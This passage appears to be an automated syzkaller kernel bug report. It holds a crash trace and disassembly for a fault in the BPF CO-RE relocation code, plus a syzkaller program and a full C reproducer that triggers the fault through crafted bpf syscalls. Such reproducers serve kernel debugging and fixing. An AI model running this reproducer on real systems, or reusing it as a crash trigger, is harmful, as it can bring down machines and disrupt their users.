---[ end trace 0000000000000000 ]---
RIP: 0010:bpf_core_calc_relo_insn+0x11e/0x1e90 tools/lib/bpf/relo_core.c:1300
Code: 48 8b 85 28 fd ff ff 4c 89 ef 44 8b 70 04 44 89 f6 e8 96 bd f8 ff 48 89 c2 49 89 c4 48 b8 00 00 00 00 00 fc ff df 48 c1 ea 03 <0f> b6 14 02 4c 89 e0 83 e0 07 83 c0 03 38 d0 7c 08 84 d2 0f 85 2c
RSP: 0018:ffff88810f81f3d0 EFLAGS: 00010246
RAX: dffffc0000000000 RBX: dffffc0000000000 RCX: ffffffff816c4ceb
RDX: 0000000000000000 RSI: ffffffff816c4d4a RDI: 0000000000000004
RBP: ffff88810f81f6c0 R08: ffff88810f81f778 R09: ffff88810d7f0000
R10: 0000000000000004 R11: ffff88810d447c80 R12: 0000000000000000
R13: ffff88810a956000 R14: 0000000000000004 R15: ffff88810d7f0000
FS:  00007f8688b53640(0000) GS:ffff88811b180000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000020000d42 CR3: 000000011200a000 CR4: 0000000000750ef0
PKRU: 55555554
----------------
Code disassembly (best guess):
   0:	48 8b 85 28 fd ff ff 	mov    -0x2d8(%rbp),%rax
   7:	4c 89 ef             	mov    %r13,%rdi
   a:	44 8b 70 04          	mov    0x4(%rax),%r14d
   e:	44 89 f6             	mov    %r14d,%esi
  11:	e8 96 bd f8 ff       	call   0xfff8bdac
  16:	48 89 c2             	mov    %rax,%rdx
  19:	49 89 c4             	mov    %rax,%r12
  1c:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  23:	fc ff df
  26:	48 c1 ea 03          	shr    $0x3,%rdx
* 2a:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx <-- trapping instruction
  2e:	4c 89 e0             	mov    %r12,%rax
  31:	83 e0 07             	and    $0x7,%eax
  34:	83 c0 03             	add    $0x3,%eax
  37:	38 d0                	cmp    %dl,%al
  39:	7c 08                	jl     0x43
  3b:	84 d2                	test   %dl,%dl
  3d:	0f                   	.byte 0xf
  3e:	85                   	.byte 0x85
  3f:	2c                   	.byte 0x2c


Syzkaller reproducer:
# {Threaded:true Repeat:false RepeatTimes:0 Procs:1 Slowdown:1 Sandbox: SandboxArg:0 Leak:false NetInjection:false NetDevices:false NetReset:false Cgroups:false BinfmtMisc:false CloseFDs:false KCSAN:false DevlinkPCI:false NicVF:false USB:false VhciInjection:false Wifi:false IEEE802154:false Sysctl:false Swap:false UseTmpDir:false HandleSegv:false Trace:false LegacyOptions:{Collide:false Fault:false FaultCall:0 FaultNth:0}}
r0 = bpf$BPF_BTF_LOAD(0x12, &(0x7f0000004e40)={&(0x7f0000004c80)={{0xeb9f, 0x1, 0x0, 0x18, 0x0, 0xc, 0xc, 0xa, [@union={0x8, 0x0, 0x0, 0x5, 0x0, 0x6}]}, {0x0, [0x30, 0x0, 0x30, 0x61, 0x1e, 0x2f, 0x30, 0x2e]}}, 0x0, 0x2e, 0x0, 0x1, 0x40}, 0x20)
bpf$PROG_LOAD_XDP(0x5, &(0x7f0000000480)={0x6, 0x27, &(0x7f0000000d40)=@ringbuf={{0x18, 0x0, 0x0, 0x0, 0x8, 0x0, 0x0, 0x0, 0x7}, {}, {}, [@ringbuf_query, @printk={@p, {}, {}, {}, {}, {0x7, 0x0, 0xb, 0x3, 0x0, 0x0, 0xffff}}, @printk={@lld, {}, {}, {}, {}, {0x7, 0x0, 0xb, 0x3, 0x0, 0x0, 0x7}}, @map_idx={0x18, 0x8, 0x5, 0x0, 0x1}, @map_idx_val={0x18, 0x6, 0x6, 0x0, 0x4, 0x0, 0x0, 0x0, 0xfffffffb}], {{}, {}, {0x85, 0x0, 0x0, 0x84}}}, &(0x7f0000000040)='GPL\x00', 0xb, 0xc0, &(0x7f0000000c80)=""/192, 0x41100, 0x38, '\x00', 0x0, 0x25, r0, 0x8, 0x0, 0x0, 0x10, &(0x7f00000002c0)={0x0, 0x0, 0x0, 0x9}, 0x1, 0x0, 0x0, 0x9, &(0x7f0000000380)=[0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff], &(0x7f00000003c0)=[{0x1, 0x4, 0xb, 0x6}, {0x2, 0x2, 0x1}, {0x5, 0x4, 0xe, 0xb}, {0x2, 0x1000003, 0x2, 0x3}, {0x2, 0x5, 0xa, 0x5}, {0x3, 0x1, 0xa, 0x3}, {0x3, 0x3, 0x5, 0x8}, {0x3, 0x1, 0x5, 0x5}, {0x0, 0x2, 0x0, 0x7}], 0x10, 0x10000}, 0x90) (async)
bpf$MAP_UPDATE_ELEM_TAIL_CALL(0x2, &(0x7f0000000440)={{}, &(0x7f00000003c0), 0x0}, 0x20)


C reproducer:
// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE 

#include <endian.h>
#include <errno.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#include <linux/futex.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

static void sleep_ms(uint64_t ms)
{
	usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
	struct timespec ts;
	if (clock_gettime(CLOCK_MONOTONIC, &ts))
	exit(1);
	return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void thread_start(void* (*fn)(void*), void* arg)
{
	pthread_t th;
	pthread_attr_t attr;
	pthread_attr_init(&attr);
	pthread_attr_setstacksize(&attr, 128 << 10);
	int i = 0;
	for (; i < 100; i++) {
		if (pthread_create(&th, &attr, fn, arg) == 0) {
			pthread_attr_destroy(&attr);
			return;
		}
		if (errno == EAGAIN) {
			usleep(50);
			continue;
		}
		break;
	}
	exit(1);
}

#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}

static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (ev->state)
	exit(1);
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

static int event_isset(event_t* ev)
{
	return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t* ev, uint64_t timeout)
{
	uint64_t start = current_time_ms();
	uint64_t now = start;
	for (;;) {
		uint64_t remain = timeout - (now - start);
		struct timespec ts;
		ts.tv_sec = remain / 1000;
		ts.tv_nsec = (remain % 1000) * 1000 * 1000;
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
		if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
			return 1;
		now = current_time_ms();
		if (now - start > timeout)
			return 0;
	}
}

struct thread_t {
	int created, call;
	event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static void* thr(void* arg)
{
	struct thread_t* th = (struct thread_t*)arg;
	for (;;) {
		event_wait(&th->ready);
		event_reset(&th->ready);
		execute_call(th->call);
		__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
		event_set(&th->done);
	}
	return 0;
}

static void loop(void)
{
	if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {
	}
	int i, call, thread;
	for (call = 0; call < 3; call++) {
		for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0])); thread++) {
			struct thread_t* th = &threads[thread];
			if (!th->created) {
				th->created = 1;
				event_init(&th->ready);
				event_init(&th->done);
				event_set(&th->done);
				thread_start(thr, th);
			}
			if (!event_isset(&th->done))
				continue;
			event_reset(&th->done);
			th->call = call;
			__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
			event_set(&th->ready);
			if (call == 1)
				break;
			event_timedwait(&th->done, 50);
			break;
		}
	}
	for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
		sleep_ms(1);
}

uint64_t r[1] = {0xffffffffffffffff};

void execute_call(int call)
{
		intptr_t res = 0;
	switch (call) {
	case 0:
*(uint64_t*)0x20004e40 = 0x20004c80;
*(uint16_t*)0x20004c80 = 0xeb9f;
*(uint8_t*)0x20004c82 = 1;
*(uint8_t*)0x20004c83 = 0;
*(uint32_t*)0x20004c84 = 0x18;
*(uint32_t*)0x20004c88 = 0;
*(uint32_t*)0x20004c8c = 0xc;
*(uint32_t*)0x20004c90 = 0xc;
*(uint32_t*)0x20004c94 = 0xa;
*(uint32_t*)0x20004c98 = 8;
*(uint16_t*)0x20004c9c = 0;
*(uint8_t*)0x20004c9e = 0;
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 5, 0, 7);
STORE_BY_BITMASK(uint8_t, , 0x20004c9f, 0, 7, 1);
*(uint32_t*)0x20004ca0 = 6;
*(uint8_t*)0x20004ca4 = 0;
*(uint8_t*)0x20004ca5 = 0x30;
*(uint8_t*)0x20004ca6 = 0;
*(uint8_t*)0x20004ca7 = 0x30;
*(uint8_t*)0x20004ca8 = 0x61;
*(uint8_t*)0x20004ca9 = 0x1e;
*(uint8_t*)0x20004caa = 0x2f;
*(uint8_t*)0x20004cab = 0x30;
*(uint8_t*)0x20004cac = 0x2e;
*(uint8_t*)0x20004cad = 0;
*(uint64_t*)0x20004e48 = 0;
*(uint32_t*)0x20004e50 = 0x2e;
*(uint32_t*)0x20004e54 = 0;
*(uint32_t*)0x20004e58 = 1;
*(uint32_t*)0x20004e5c = 0x40;
		res = syscall(__NR_bpf, /*cmd=*/0x12ul, /*arg=*/0x20004e40ul, /*size=*/0x20ul);
		if (res != -1)
				r[0] = res;
		break;
	case 1:
*(uint32_t*)0x20000480 = 6;
*(uint32_t*)0x20000484 = 0x27;
*(uint64_t*)0x20000488 = 0x20000d40;
*(uint8_t*)0x20000d40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d41, 0, 4, 4);
*(uint16_t*)0x20000d42 = 0;
*(uint32_t*)0x20000d44 = 8;
*(uint8_t*)0x20000d48 = 0;
*(uint8_t*)0x20000d49 = 0;
*(uint16_t*)0x20000d4a = 0;
*(uint32_t*)0x20000d4c = 7;
*(uint8_t*)0x20000d50 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d51, 1, 4, 4);
*(uint16_t*)0x20000d52 = 0;
*(uint32_t*)0x20000d54 = -1;
*(uint8_t*)0x20000d58 = 0;
*(uint8_t*)0x20000d59 = 0;
*(uint16_t*)0x20000d5a = 0;
*(uint32_t*)0x20000d5c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d60, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d61, 0, 4, 4);
*(uint16_t*)0x20000d62 = 0;
*(uint32_t*)0x20000d64 = 0x14;
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d69, 0, 4, 4);
*(uint16_t*)0x20000d6a = 0;
*(uint32_t*)0x20000d6c = 0;
*(uint8_t*)0x20000d70 = 0x85;
*(uint8_t*)0x20000d71 = 0;
*(uint16_t*)0x20000d72 = 0;
*(uint32_t*)0x20000d74 = 0x83;
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d78, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d79, 0, 4, 4);
*(uint16_t*)0x20000d7a = 0;
*(uint32_t*)0x20000d7c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000d80, 5, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 9, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d81, 0, 4, 4);
*(uint16_t*)0x20000d82 = 1;
*(uint32_t*)0x20000d84 = 0;
*(uint8_t*)0x20000d88 = 0x95;
*(uint8_t*)0x20000d89 = 0;
*(uint16_t*)0x20000d8a = 0;
*(uint32_t*)0x20000d8c = 0;
*(uint8_t*)0x20000d90 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000d91, 1, 4, 4);
*(uint16_t*)0x20000d92 = 0;
*(uint32_t*)0x20000d94 = -1;
*(uint8_t*)0x20000d98 = 0;
*(uint8_t*)0x20000d99 = 0;
*(uint16_t*)0x20000d9a = 0;
*(uint32_t*)0x20000d9c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000da0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000da1, 0, 4, 4);
*(uint16_t*)0x20000da2 = 0;
*(uint32_t*)0x20000da4 = 0;
*(uint8_t*)0x20000da8 = 0x85;
*(uint8_t*)0x20000da9 = 0;
*(uint16_t*)0x20000daa = 0;
*(uint32_t*)0x20000dac = 0x86;
*(uint8_t*)0x20000db0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000db1, 0, 4, 4);
*(uint16_t*)0x20000db2 = 0;
*(uint32_t*)0x20000db4 = 0x25702020;
*(uint8_t*)0x20000db8 = 0;
*(uint8_t*)0x20000db9 = 0;
*(uint16_t*)0x20000dba = 0;
*(uint32_t*)0x20000dbc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000dc0, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc1, 1, 4, 4);
*(uint16_t*)0x20000dc2 = 0xfff8;
*(uint32_t*)0x20000dc4 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dc8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dc9, 0xa, 4, 4);
*(uint16_t*)0x20000dca = 0;
*(uint32_t*)0x20000dcc = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd0, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd1, 0, 4, 4);
*(uint16_t*)0x20000dd2 = 0;
*(uint32_t*)0x20000dd4 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000dd8, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000dd9, 0, 4, 4);
*(uint16_t*)0x20000dda = 0;
*(uint32_t*)0x20000ddc = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000de0, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000de1, 0, 4, 4);
*(uint16_t*)0x20000de2 = 0;
*(uint32_t*)0x20000de4 = 0xffff;
*(uint8_t*)0x20000de8 = 0x85;
*(uint8_t*)0x20000de9 = 0;
*(uint16_t*)0x20000dea = 0;
*(uint32_t*)0x20000dec = 6;
*(uint8_t*)0x20000df0 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000df1, 0, 4, 4);
*(uint16_t*)0x20000df2 = 0;
*(uint32_t*)0x20000df4 = 0x256c6c64;
*(uint8_t*)0x20000df8 = 0;
*(uint8_t*)0x20000df9 = 0;
*(uint16_t*)0x20000dfa = 0;
*(uint32_t*)0x20000dfc = 0x20202000;
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 3, 2);
STORE_BY_BITMASK(uint8_t, , 0x20000e00, 3, 5, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 0xa, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e01, 1, 4, 4);
*(uint16_t*)0x20000e02 = 0xfff8;
*(uint32_t*)0x20000e04 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e08, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e09, 0xa, 4, 4);
*(uint16_t*)0x20000e0a = 0;
*(uint32_t*)0x20000e0c = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e10, 0, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e11, 0, 4, 4);
*(uint16_t*)0x20000e12 = 0;
*(uint32_t*)0x20000e14 = 0xfffffff8;
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e18, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e19, 0, 4, 4);
*(uint16_t*)0x20000e1a = 0;
*(uint32_t*)0x20000e1c = 8;
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e20, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 3, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e21, 0, 4, 4);
*(uint16_t*)0x20000e22 = 0;
*(uint32_t*)0x20000e24 = 7;
*(uint8_t*)0x20000e28 = 0x85;
*(uint8_t*)0x20000e29 = 0;
*(uint16_t*)0x20000e2a = 0;
*(uint32_t*)0x20000e2c = 6;
*(uint8_t*)0x20000e30 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 8, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e31, 5, 4, 4);
*(uint16_t*)0x20000e32 = 0;
*(uint32_t*)0x20000e34 = 1;
*(uint8_t*)0x20000e38 = 0;
*(uint8_t*)0x20000e39 = 0;
*(uint16_t*)0x20000e3a = 0;
*(uint32_t*)0x20000e3c = 0;
*(uint8_t*)0x20000e40 = 0x18;
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e41, 6, 4, 4);
*(uint16_t*)0x20000e42 = 0;
*(uint32_t*)0x20000e44 = 4;
*(uint8_t*)0x20000e48 = 0;
*(uint8_t*)0x20000e49 = 0;
*(uint16_t*)0x20000e4a = 0;
*(uint32_t*)0x20000e4c = 0xfffffffb;
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 1, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e50, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 1, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e51, 9, 4, 4);
*(uint16_t*)0x20000e52 = 0;
*(uint32_t*)0x20000e54 = 0;
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e58, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 2, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e59, 0, 4, 4);
*(uint16_t*)0x20000e5a = 0;
*(uint32_t*)0x20000e5c = 0;
*(uint8_t*)0x20000e60 = 0x85;
*(uint8_t*)0x20000e61 = 0;
*(uint16_t*)0x20000e62 = 0;
*(uint32_t*)0x20000e64 = 0x84;
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 7, 0, 3);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0, 3, 1);
STORE_BY_BITMASK(uint8_t, , 0x20000e68, 0xb, 4, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 0, 4);
STORE_BY_BITMASK(uint8_t, , 0x20000e69, 0, 4, 4);
*(uint16_t*)0x20000e6a = 0;
*(uint32_t*)0x20000e6c = 0;
*(uint8_t*)0x20000e70 = 0x95;
*(uint8_t*)0x20000e71 = 0;
*(uint16_t*)0x20000e72 = 0;
*(uint32_t*)0x20000e74 = 0;
*(uint64_t*)0x20000490 = 0x20000040;
memcpy((void*)0x20000040, "GPL\000", 4);
*(uint32_t*)0x20000498 = 0xb;
*(uint32_t*)0x2000049c = 0xc0;
*(uint64_t*)0x200004a0 = 0x20000c80;
*(uint32_t*)0x200004a8 = 0x41100;
*(uint32_t*)0x200004ac = 0x38;
memset((void*)0x200004b0, 0, 16);
*(uint32_t*)0x200004c0 = 0;
*(uint32_t*)0x200004c4 = 0x25;
*(uint32_t*)0x200004c8 = r[0];
*(uint32_t*)0x200004cc = 8;
*(uint64_t*)0x200004d0 = 0;
*(uint32_t*)0x200004d8 = 0;
*(uint32_t*)0x200004dc = 0x10;
*(uint64_t*)0x200004e0 = 0x200002c0;
*(uint32_t*)0x200002c0 = 0;
*(uint32_t*)0x200002c4 = 0;
*(uint32_t*)0x200002c8 = 0;
*(uint32_t*)0x200002cc = 9;
*(uint32_t*)0x200004e8 = 1;
*(uint32_t*)0x200004ec = 0;
*(uint32_t*)0x200004f0 = 0;
*(uint32_t*)0x200004f4 = 9;
*(uint64_t*)0x200004f8 = 0x20000380;
*(uint32_t*)0x20000380 = -1;
*(uint32_t*)0x20000384 = -1;
*(uint32_t*)0x20000388 = -1;
*(uint64_t*)0x20000500 = 0x200003c0;
*(uint32_t*)0x200003c0 = 1;
*(uint32_t*)0x200003c4 = 4;
*(uint32_t*)0x200003c8 = 0xb;
*(uint32_t*)0x200003cc = 6;
*(uint32_t*)0x200003d0 = 2;
*(uint32_t*)0x200003d4 = 2;
*(uint32_t*)0x200003d8 = 1;
*(uint32_t*)0x200003dc = 0;
*(uint32_t*)0x200003e0 = 5;
*(uint32_t*)0x200003e4 = 4;
*(uint32_t*)0x200003e8 = 0xe;
*(uint32_t*)0x200003ec = 0xb;
*(uint32_t*)0x200003f0 = 2;
*(uint32_t*)0x200003f4 = 0x1000003;
*(uint32_t*)0x200003f8 = 2;
*(uint32_t*)0x200003fc = 3;
*(uint32_t*)0x20000400 = 2;
*(uint32_t*)0x20000404 = 5;
*(uint32_t*)0x20000408 = 0xa;
*(uint32_t*)0x2000040c = 5;
*(uint32_t*)0x20000410 = 3;
*(uint32_t*)0x20000414 = 1;
*(uint32_t*)0x20000418 = 0xa;
*(uint32_t*)0x2000041c = 3;
*(uint32_t*)0x20000420 = 3;
*(uint32_t*)0x20000424 = 3;
*(uint32_t*)0x20000428 = 5;
*(uint32_t*)0x2000042c = 8;
*(uint32_t*)0x20000430 = 3;
*(uint32_t*)0x20000434 = 1;
*(uint32_t*)0x20000438 = 5;
*(uint32_t*)0x2000043c = 5;
*(uint32_t*)0x20000440 = 0;
*(uint32_t*)0x20000444 = 2;
*(uint32_t*)0x20000448 = 0;
*(uint32_t*)0x2000044c = 7;
*(uint32_t*)0x20000508 = 0x10;
*(uint32_t*)0x2000050c = 0x10000;
		syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x20000480ul, /*size=*/0x90ul);
		break;
	case 2:
*(uint32_t*)0x20000440 = -1;
*(uint64_t*)0x20000448 = 0x200003c0;
*(uint32_t*)0x200003c0 = 0;
*(uint64_t*)0x20000450 = 0;
*(uint64_t*)0x20000458 = 0;
		syscall(__NR_bpf, /*cmd=*/2ul, /*arg=*/0x20000440ul, /*size=*/0x20ul);
		break;
	}

}
int main(void)
{
		syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
	syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
	const char* reason;
	(void)reason;
			loop();
	return 0;
}